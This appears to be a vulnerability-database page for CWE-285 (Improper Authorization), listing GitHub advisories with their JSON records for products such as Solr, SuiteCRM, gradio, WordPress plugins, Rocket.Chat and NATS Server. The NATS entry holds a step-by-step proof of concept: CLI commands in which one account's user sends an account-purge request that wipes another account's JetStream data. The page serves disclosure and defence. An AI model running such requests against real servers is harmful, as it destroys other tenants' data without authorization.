CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2307 vulnerabilities reference this CWE, most recent first.
GHSA-F9RJ-PH86-RG7M
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:09The provided secure solrconfig.xml sample configuration does not enforce Sentry authorization on /update/json/docs.
{
"affected": [],
"aliases": [
"CVE-2017-9325"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-03T17:15:00Z",
"severity": "HIGH"
},
"details": "The provided secure solrconfig.xml sample configuration does not enforce Sentry authorization on /update/json/docs.",
"id": "GHSA-f9rj-ph86-rg7m",
"modified": "2024-04-04T01:09:25Z",
"published": "2022-05-24T16:49:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9325"
},
{
"type": "WEB",
"url": "https://www.cloudera.com/documentation/other/security-bulletins/topics/Security-Bulletin.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FC43-XQX9-FHVJ
Vulnerability from github – Published: 2022-03-08 00:00 – Updated: 2022-03-17 00:02Improper Authorization in GitHub repository salesagility/suitecrm prior to 7.12.5.
{
"affected": [],
"aliases": [
"CVE-2022-0756"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-07T13:15:00Z",
"severity": "MODERATE"
},
"details": "Improper Authorization in GitHub repository salesagility/suitecrm prior to 7.12.5.",
"id": "GHSA-fc43-xqx9-fhvj",
"modified": "2022-03-17T00:02:51Z",
"published": "2022-03-08T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0756"
},
{
"type": "WEB",
"url": "https://github.com/salesagility/suitecrm/commit/e93b269f637de313f45b32c58cef5ec012a34f58"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/55164a63-62e4-4fb6-b4ca-87eca14f6f31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FC78-C36R-CC59
Vulnerability from github – Published: 2024-06-04 12:31 – Updated: 2024-06-04 12:31The 'deploy-website.yml' workflow in the gradio-app/gradio repository, specifically in the 'main' branch, is vulnerable to secrets exfiltration due to improper authorization. The vulnerability arises from the workflow's explicit checkout and execution of code from a fork, which is unsafe as it allows the running of untrusted code in an environment with access to push to the base repository and access secrets. This flaw could lead to the exfiltration of sensitive secrets such as GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, and VERCEL_TOKEN. The vulnerability is present in the workflow file located at https://github.com/gradio-app/gradio/blob/72f4ca88ab569aae47941b3fb0609e57f2e13a27/.github/workflows/deploy-website.yml.
{
"affected": [],
"aliases": [
"CVE-2024-4254"
],
"database_specific": {
"cwe_ids": [
"CWE-214",
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-04T12:15:13Z",
"severity": "HIGH"
},
"details": "The \u0027deploy-website.yml\u0027 workflow in the gradio-app/gradio repository, specifically in the \u0027main\u0027 branch, is vulnerable to secrets exfiltration due to improper authorization. The vulnerability arises from the workflow\u0027s explicit checkout and execution of code from a fork, which is unsafe as it allows the running of untrusted code in an environment with access to push to the base repository and access secrets. This flaw could lead to the exfiltration of sensitive secrets such as GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, and VERCEL_TOKEN. The vulnerability is present in the workflow file located at https://github.com/gradio-app/gradio/blob/72f4ca88ab569aae47941b3fb0609e57f2e13a27/.github/workflows/deploy-website.yml.",
"id": "GHSA-fc78-c36r-cc59",
"modified": "2024-06-04T12:31:06Z",
"published": "2024-06-04T12:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4254"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/59873fbd-5698-4ec3-87f9-5d70c6055d01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCVX-5CXC-V5P8
Vulnerability from github – Published: 2026-06-18 20:13 – Updated: 2026-06-18 20:13Summary
Slack reaction events could ignore reaction notification settings. In affected versions, a Slack reaction event delivered to the configured app could enter the agent pipeline even when reaction notifications were disabled.
This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.
Impact
When the affected feature is enabled and reachable, this could trigger unintended agent processing for reaction events. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.
Patched Versions
The first stable patched version is 2026.5.12.
Mitigations
disable or restrict Slack reaction event subscriptions until patched if this path is not needed. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.5.7"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.5.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53851"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T20:13:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nSlack reaction events could ignore reaction notification settings. In affected versions, a Slack reaction event delivered to the configured app could enter the agent pipeline even when reaction notifications were disabled.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could trigger unintended agent processing for reaction events. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.12`.\n\n### Mitigations\n\ndisable or restrict Slack reaction event subscriptions until patched if this path is not needed. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
"id": "GHSA-fcvx-5cxc-v5p8",
"modified": "2026-06-18T20:13:11Z",
"published": "2026-06-18T20:13:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fcvx-5cxc-v5p8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53851"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-slack-reaction-event-notification-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Slack reaction events could ignore reaction notification settings"
}
GHSA-FF7W-X79R-F4XR
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-08-31 00:00Low privileged users can use the AJAX action 'cp_plugins_do_button_job_later_callback' in the WP Content Copy Protection & No Right Click WordPress plugin before 3.1.5, to install any plugin (including a specific version) from the WordPress repository, as well as activate arbitrary plugin from then blog, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE.
{
"affected": [],
"aliases": [
"CVE-2021-24188"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-14T12:15:00Z",
"severity": "HIGH"
},
"details": "Low privileged users can use the AJAX action \u0027cp_plugins_do_button_job_later_callback\u0027 in the WP Content Copy Protection \u0026 No Right Click WordPress plugin before 3.1.5, to install any plugin (including a specific version) from the WordPress repository, as well as activate arbitrary plugin from then blog, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE.",
"id": "GHSA-ff7w-x79r-f4xr",
"modified": "2022-08-31T00:00:18Z",
"published": "2022-05-24T19:02:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24188"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/74889e29-5349-43d1-baf5-1622493be90c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFFF-JPXQ-2JG9
Vulnerability from github – Published: 2023-07-25 00:30 – Updated: 2024-04-04 06:20Improper privilege validation in Command Centre Server allows authenticated unprivileged operators to modify and view Competencies.
This issue affects Command Centre: vEL8.90 prior to vEL8.90.1318 (MR1), vEL8.80 prior to vEL8.80.1192 (MR2), vEL8.70 prior to vEL8.70.2185 (MR4),
vEL8.60 prior to vEL8.60.2347 (MR6),
vEL8.50 prior to vEL8.50.2831 (MR8), all versions vEL8.40 and prior.
{
"affected": [],
"aliases": [
"CVE-2023-25074"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-25T00:15:09Z",
"severity": "MODERATE"
},
"details": "\nImproper privilege validation in Command Centre Server allows authenticated unprivileged operators to modify and view Competencies.\n\n\n\n\n\n\nThis issue affects Command Centre: vEL8.90 prior to vEL8.90.1318 (MR1), vEL8.80 prior to vEL8.80.1192 (MR2), vEL8.70 prior to vEL8.70.2185 (MR4), \n\nvEL8.60 prior to vEL8.60.2347 (MR6),\n\nvEL8.50 prior to vEL8.50.2831 (MR8), all versions vEL8.40 and prior.\n\n\n",
"id": "GHSA-ffff-jpxq-2jg9",
"modified": "2024-04-04T06:20:33Z",
"published": "2023-07-25T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25074"
},
{
"type": "WEB",
"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2023-25074"
},
{
"type": "WEB",
"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2023-25704"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FG7F-FRXH-H6GR
Vulnerability from github – Published: 2022-12-19 12:30 – Updated: 2022-12-28 21:30A vulnerability, which was classified as problematic, has been found in Click Studios Passwordstate and Passwordstate Browser Extension Chrome. This issue affects some unknown processing of the file /api/browserextension/UpdatePassword/ of the component API. The manipulation of the argument PasswordID leads to authorization bypass. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The identifier VDB-216245 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-3876"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-19T11:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in Click Studios Passwordstate and Passwordstate Browser Extension Chrome. This issue affects some unknown processing of the file /api/browserextension/UpdatePassword/ of the component API. The manipulation of the argument PasswordID leads to authorization bypass. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The identifier VDB-216245 was assigned to this vulnerability.",
"id": "GHSA-fg7f-frxh-h6gr",
"modified": "2022-12-28T21:30:22Z",
"published": "2022-12-19T12:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3876"
},
{
"type": "WEB",
"url": "https://modzero.com/modlog/archives/2022/12/19/better_make_sure_your_password_manager_is_secure/index.html"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.216245"
},
{
"type": "WEB",
"url": "https://www.modzero.com/static/MZ-22-03_Passwordstate_Security_Disclosure_Report-v1.0.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FGC6-VR5X-6XCH
Vulnerability from github – Published: 2023-05-10 00:30 – Updated: 2024-04-04 03:58A vulnerability has been discovered in Rocket.Chat, where messages can be hidden regardless of the Message_KeepHistory or Message_ShowDeletedStatus server configuration. This allows users to bypass the intended message deletion behavior, hiding messages and deletion notices.
{
"affected": [],
"aliases": [
"CVE-2023-28318"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-09T22:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been discovered in Rocket.Chat, where messages can be hidden regardless of the Message_KeepHistory or Message_ShowDeletedStatus server configuration. This allows users to bypass the intended message deletion behavior, hiding messages and deletion notices.",
"id": "GHSA-fgc6-vr5x-6xch",
"modified": "2024-04-04T03:58:14Z",
"published": "2023-05-10T00:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28318"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1379451"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FGWV-HC99-V2W5
Vulnerability from github – Published: 2026-05-27 18:31 – Updated: 2026-05-28 18:30SpSoft AppLock (com.sp.protector.free) 7.9.40 for Android allows a local attacker with physical access to bypass fingerprint or PIN authentication. Although the app integrates Android's biometric mechanisms, the lock is implemented with a custom overlay that fails to consistently enforce authentication. By navigating cascading interface flows - insecure navigation through exposed routes facilitates app control evasion {I.N.T.E.R.F.A.C.E] via advertisement or browser intents - an attacker can exit the lock interface without re-authentication and access protected apps (e.g., Chrome). This results in information disclosure and privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2025-68712"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T17:16:29Z",
"severity": "MODERATE"
},
"details": "SpSoft AppLock (com.sp.protector.free) 7.9.40 for Android allows a local attacker with physical access to bypass fingerprint or PIN authentication. Although the app integrates Android\u0027s biometric mechanisms, the lock is implemented with a custom overlay that fails to consistently enforce authentication. By navigating cascading interface flows - insecure navigation through exposed routes facilitates app control evasion {I.N.T.E.R.F.A.C.E] via advertisement or browser intents - an attacker can exit the lock interface without re-authentication and access protected apps (e.g., Chrome). This results in information disclosure and privilege escalation.",
"id": "GHSA-fgwv-hc99-v2w5",
"modified": "2026-05-28T18:30:27Z",
"published": "2026-05-27T18:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68712"
},
{
"type": "WEB",
"url": "https://github.com/actuator/com.sp.protector.free"
},
{
"type": "WEB",
"url": "https://github.com/actuator/com.sp.protector.free/blob/main/CVE-2025-68712"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=com.sp.protector.free"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FHG8-QXH5-7Q3W
Vulnerability from github – Published: 2025-04-15 21:45 – Updated: 2026-06-05 21:36Advisory
The management of JetStream assets happens with messages in the $JS. subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.
Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.
Affected versions
NATS Server: * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27
Original Report
(Lightly edited to confirm some supposition and in the summary to use past tense)
Summary
nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move.
In all cases, APIs are not properly restricted to system-account users. Instead, any authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on $JS.>.
Only the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.
Reproduction of the ACCOUNT.PURGE case is below. The others are like it.
Details & Impact
Issue 1: $JS.API.ACCOUNT.PURGE.*
Any user may perform an account purge of any other account (including their own).
Risk: total destruction of Jetstream configuration and data.
Issue 2: $JS.API.SERVER.REMOVE
Any user may remove servers from Jetstream clusters.
Risk: Loss of data redundancy, reduction of service quality.
Issue 3: $JS.API.ACCOUNT.STREAM.MOVE.*.* and CANCEL_MOVE
Any user may cause streams to be moved between servers.
Risk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.
Similarly for $JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*
Mitigations
It appears that users without permission to publish on $JS.API.ACCOUNT.> or $JS.API.SERVER.> are unable to execute the above APIs.
Unfortunately, in many configurations, an 'admin' user for a single account will be given permissions for $JS.> (or simply >), which allows the improper access to the system APIs above.
Scope of impact
Issues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.
While I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.
Additional notes
It appears that $JS.API.META.LEADER.STEPDOWN does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.
PoC
Environment
Tested with: nats-server 2.10.26 (installed via homebrew) nats cli 0.1.6 (installed via homebrew) macOS 13.7.4
Reproduction steps
$ nats-server --version
nats-server: v2.10.26
$ nats --version
0.1.6
$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
store_dir: './tmp'
}
accounts: {
'$SYS': {
users: [{user: 'sys', password: 'sys'}]
},
'TEST': {
jetstream: true,
users: [{user: 'a', password: 'a'}]
},
'TEST2': {
jetstream: true,
users: [{user: 'b', password: 'b'}]
}
}
$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...
# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation
# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
User: sys
Account: $SYS
...
$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
User: a
Account: TEST
...
$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
User: b
Account: TEST2
...
# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...
$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
╭───────────────────────────────────────────────────────────────────────────────╮
│ Streams │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name │ Description │ Created │ Messages │ Size │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │ │ 2025-03-02 11:48:49 │ 3 │ 111 B │ 46.01s │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯
$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined
$ du -h tmp/jetstream
0B tmp/jetstream/TEST/streams/stream1/obs
8.0K tmp/jetstream/TEST/streams/stream1/msgs
16K tmp/jetstream/TEST/streams/stream1
16K tmp/jetstream/TEST/streams
16K tmp/jetstream/TEST
16K tmp/jetstream
# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}
# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)
# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
0B tmp/jetstream
$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nats-io/nats-server/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.0-RC.1"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/nats-io/nats-server/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.10.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30215"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-15T21:45:00Z",
"nvd_published_at": "2025-04-16T00:15:19Z",
"severity": "CRITICAL"
},
"details": "## Advisory\n\nThe management of JetStream assets happens with messages in the `$JS.` subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.\n\nSome of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.\n\n### Affected versions\n\nNATS Server:\n * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27\n\n-----\n\n## Original Report\n\n(Lightly edited to confirm some supposition and in the summary to use past tense)\n\n### Summary\n\nnats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move.\n\nIn all cases, APIs are not properly restricted to system-account users. Instead, _any_ authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on `$JS.\u003e`.\n\nOnly the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.\n\nReproduction of the `ACCOUNT.PURGE` case is below. The others are like it.\n\n\n### Details \u0026 Impact\n\n#### Issue 1: `$JS.API.ACCOUNT.PURGE.*`\n\nAny user may perform an account purge of any other account (including their own).\n\nRisk: total destruction of Jetstream configuration and data.\n\n\n#### Issue 2: `$JS.API.SERVER.REMOVE`\n\nAny user may remove servers from Jetstream clusters.\n\nRisk: Loss of data redundancy, reduction of service quality.\n\n\n#### Issue 3: `$JS.API.ACCOUNT.STREAM.MOVE.*.*` and `CANCEL_MOVE`\n\nAny user may cause streams to be moved between servers.\n\nRisk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.\n\nSimilarly for `$JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*`\n\n\n#### Mitigations\n\nIt appears that users without permission to publish on `$JS.API.ACCOUNT.\u003e` or `$JS.API.SERVER.\u003e` are unable to execute the above APIs.\n\nUnfortunately, in many configurations, an \u0027admin\u0027 user for a single account will be given permissions for `$JS.\u003e` (or simply `\u003e`), which allows the improper access to the system APIs above.\n\n\n#### Scope of impact\n\nIssues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.\n\nWhile I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.\n\n\n#### Additional notes\n\nIt appears that `$JS.API.META.LEADER.STEPDOWN` does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.\n\n\n\n### PoC\n\n#### Environment\n\nTested with:\nnats-server 2.10.26 (installed via homebrew)\nnats cli 0.1.6 (installed via homebrew)\nmacOS 13.7.4\n\n\n#### Reproduction steps\n\n```\n$ nats-server --version\nnats-server: v2.10.26\n\n$ nats --version\n0.1.6\n\n$ cat nats-server.conf\nlisten: \u00270.0.0.0:4233\u0027\njetstream: {\n store_dir: \u0027./tmp\u0027\n}\naccounts: {\n \u0027$SYS\u0027: {\n users: [{user: \u0027sys\u0027, password: \u0027sys\u0027}]\n },\n \u0027TEST\u0027: {\n jetstream: true,\n users: [{user: \u0027a\u0027, password: \u0027a\u0027}]\n },\n \u0027TEST2\u0027: {\n jetstream: true,\n users: [{user: \u0027b\u0027, password: \u0027b\u0027}]\n }\n}\n\n$ nats-server -c ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233\n...\n\n# Authentication is effectively enabled by the server:\n$ nats -s nats://localhost:4233 account info\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user sys --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user a --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user b --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n# Valid credentials work, and users properly matched to accounts:\n$ nats -s nats://localhost:4233 account info --user sys --password sys\nAccount Information\n User: sys\n Account: $SYS\n...\n\n$ nats -s nats://localhost:4233 account info --user a --password a\nAccount Information\n User: a\n Account: TEST\n...\n\n$ nats -s nats://localhost:4233 account info --user b --password b\nAccount Information\n User: b\n Account: TEST2\n...\n\n# Add a stream and messages to account TEST (user \u0027a\u0027):\n$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults\nStream stream1 was created\n...\n\n$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 \"msg {{Count}}\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n\n# Messages are correctly persisted on account TEST, and not on TEST2:\n$ nats -s nats://localhost:4233 --user a --password a stream ls\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 Streams \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Name \u2502 Description \u2502 Created \u2502 Messages \u2502 Size \u2502 Last Message \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 stream1 \u2502 \u2502 2025-03-02 11:48:49 \u2502 3 \u2502 111 B \u2502 46.01s 